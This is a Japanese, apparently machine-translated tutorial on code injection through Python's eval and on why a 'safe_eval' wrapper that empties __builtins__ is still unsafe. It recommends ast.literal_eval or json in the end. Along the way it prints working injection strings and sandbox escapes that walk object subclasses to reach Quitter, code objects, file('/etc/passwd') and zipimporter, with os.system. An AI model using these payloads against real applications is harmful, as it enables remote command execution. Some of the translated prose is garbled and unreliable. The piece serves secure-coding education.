この記事では、Python eval の一般的なエラーのカプセル化と利用原則について紹介します。これには一定の参考価値があります。必要な友人は参照できます。お役に立てば幸いです。
最近、コード レビュー プロセス中に、eval の誤った使用によって引き起こされるコード インジェクションに関する多くの問題があることがわかりました。典型的な問題は、解析辞書として eval を使用することです。単純に eval を使用する場合もあれば、間違った方法で使用する場合もありますencapsulation. eval はすべての製品で使用されているため、より深刻な問題が発生します。これらは血のにじむような教訓なので、使用する場合は誰もがより注意を払う必要があります。
以下は実際の製品の例です。詳細については、[bug83055][1] を参照してください:
def remove(request, obj): query = query2dict(request.POST) eval(query['oper_type'])(query, customer_obj)
クエリは POST から直接変換され、ユーザーが直接制御できます。ユーザーが url パラメーターに oper_type=__import__('os').system('sleep 5') と入力すると、sleep コマンドを実行できます。もちろん、任意のシステム コマンドや実行可能コードを実行することもできます。それは明白なので、 eval を見てみましょう。 eval は正確に何をするのか、そしてそれを安全に行うにはどうすればよいでしょうか?
1、やるべきこと
簡単に言えば、式を実行することです
>>> eval('2+2') 4 >>> eval("""{'name':'xiaoming','ip':'10.10.10.10'}""") {'ip': '10.10.10.10', 'name': 'xiaoming'} >>> eval("__import__('os').system('uname')", {}) Linux 0
これら 3 つのコードのうち、最初のコードは明らかに計算に使用されます。 2 つ目は計算用です 文字列型のデータを Python に変換するデータ型、ここでは dict これも弊社製品でよくある間違いです。 3 つ目は、悪者の行動であり、システム コマンドを実行します。
eval は 3 つのパラメータ eval(source[, globals[, locals]]) -> value
globals はパス、locals はキーと値のペアである必要があります。これはデフォルトで採用されます。 システム グローバルとローカル
#2、不正なカプセル化
# (1) 製品コードの 1 つのカプセル化関数のセクションを見てみましょう。[バグ][2 を参照してください。 ]、またはネットワークで上位のランクのコードを検索します。例:
def safe_eval(eval_str): try: #加入命名空间 safe_dict = {} safe_dict['True'] = True safe_dict['False'] = False return eval(eval_str,{'__builtins__':None},safe_dict) except Exception,e: traceback.print_exc() return ''
ここでは __builtins__ が空に設定されているため、__import__ のような組み込み変数は消えています。このカプセル化された関数は安全ですか?ステップバイステップで見てみましょう:
>>> dir(__builtins__) ['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StandardError', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError',
List items
'UnicodeEncodeError'、'UnicodeError'、'UnicodeTranslateError'、'UnicodeWarning'、'UserWarning'、'ValueError'、'Warning'、 ' ZeroDivisionError'、'_'、'debug'、'doc'、'import'、'name'、'package'、'abs'、'all'、'any'、'apply'、'basestring'、'bin ' 、 'bool'、 'buffer'、 'bytearray'、 'bytes'、 'callable'、 'chr'、 'classmethod'、 'cmp'、 'coerce'、 'compile'、 'complex'、 'copyright'、 ' クレジット'、'delattr'、'dict'、'dir'、'divmod'、'enumerate'、'eval'、'execfile'、'exit'、'file'、'filter'、'float'、'format ' 、 'frozenset'、 'getattr'、 'globals'、 'hasattr'、 'hash'、 'help'、 'hex'、 'id'、 'input'、 'int'、 'intern'、 'isinstance'、 ' issubclass'、'iter'、'len'、'license'、'list'、'locals'、'long'、'map'、'max'、'memoryview'、'min'、'next'、'object ' 、 'oct'、 'open'、 'ord'、 'pow'、 'print'、 'property'、 'quit'、 'range'、 'raw_input'、 'reduce'、 'reload'、 'repr'、 ' reversed'、'round'、'set'、'setattr'、'slice'、'sorted'、'staticmethod'、'str'、'sum'、'super'、'tuple'、'type'、'unichr ' , 'unicode', 'vars', 'xrange', 'zip']
__builtins__ から、そのモジュールに __import__ があり、OS の一部の操作を実行するために使用できることがわかります。空に設定して eval 関数を実行すると、結果は次のようになります:
>>> eval("__import__('os').system('uname')", {'__builtins__':{}}) Traceback (most recent call last): File "<stdin>", line 1, in <module> File "<string>", line 1, in <module> NameError: name '__import__' is not defined
今度は、__import__ が未定義のため正常に実行できないというメッセージが表示されます。安全ですか?答えはもちろん間違っています。
たとえば、実行は次のとおりです:
>>> s = """ ... (lambda fc=( ... lambda n: [ ... c for c in ... ().__class__.__bases__[0].__subclasses__() ... if c.__name__ == n ... ][0] ... ): ... fc("function")( ... fc("code")( ... 0,0,0,0,"test",(),(),(),"","",0,"" ... ),{} ... )() ... )() ... """ >>> eval(s, {'__builtins__':{}}) Segmentation fault (core dumped)
ここでユーザーが関数を定義し、この関数の呼び出しによって直接セグメンテーション違反が発生します
次のコードは終了します。インタプリタ:
>>> >>> s = """ ... [ ... c for c in ... ().__class__.__bases__[0].__subclasses__() ... if c.__name__ == "Quitter" ... ][0](0)() ... """ >>> eval(s,{'__builtins__':{}}) liaoxinxi@RCM-RSAS-V6-Dev ~/tools/auto_judge $
プロセス全体について予備的に理解しましょう:
>>> ().__class__.__bases__[0].__subclasses__() [<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <type 'Struct'>, <type 'cStringIO.StringO'>, <type 'cStringIO.StringI'>, <class 'configobj.InterpolationEngine'>, <class 'configobj.SimpleVal'>, <class 'configobj.InterpolationEngine'>, <class 'configobj.SimpleVal'>]
この Python コードの意味は、タプルのクラスを見つけてから、その基本クラス (オブジェクト) を見つけることです。 、そして object を通じてそのサブクラスを見つけます。特定のサブクラスもコードの出力と同じです。これを見ると、file モジュールと zipimporter モジュールがあることがわかりますが、これらは使用できますか?まずファイルから開始します
ユーザーが次のように構築する場合:
>>> s1 = """ ... [ ... c for c in ... ().__class__.__bases__[0].__subclasses__() ... if c.__name__ == "file" ... ][0]("/etc/passwd").read()() ... """ >>> eval(s1,{'__builtins__':{}}) Traceback (most recent call last): File "<stdin>", line 1, in <module> File "<string>", line 6, in <module> IOError: file() constructor not accessible in restricted mode
この制限モードは、単に Python インタープリターのサンドボックスとして理解されます。システムを変更できないなど、一部の機能が制限されていますまたは、ファイルなどの一部のシステム関数を使用します。詳細については、「制限付き実行モード」を参照してください。今回思いついたのが zipimporter で、インポートしたモジュールが os モジュールを参照している場合は以下のコードのように使えます。
>>> s2=""" ... [x for x in ().__class__.__bases__[0].__subclasses__() ... if x.__name__ == "zipimporter"][0]( ... "/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module( ... "configobj").os.system("uname") ... """ >>> eval(s2,{'__builtins__':{}}) Linux 0
これにより、先ほどのsafe_evalが実際に安全ではないことが検証されます。
3、
の正しい使い方 (1) ast.literal_eval
を使う (2) 文字を辞書化するだけならjson形式でも使える
この記事はここで終了しています。その他のエキサイティングなコンテンツについては、PHP 中国語 Web サイトの Python ビデオ チュートリアル 列に注目してください。
以上が一般的なエラーのカプセル化と Python eval の利用原則の紹介の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。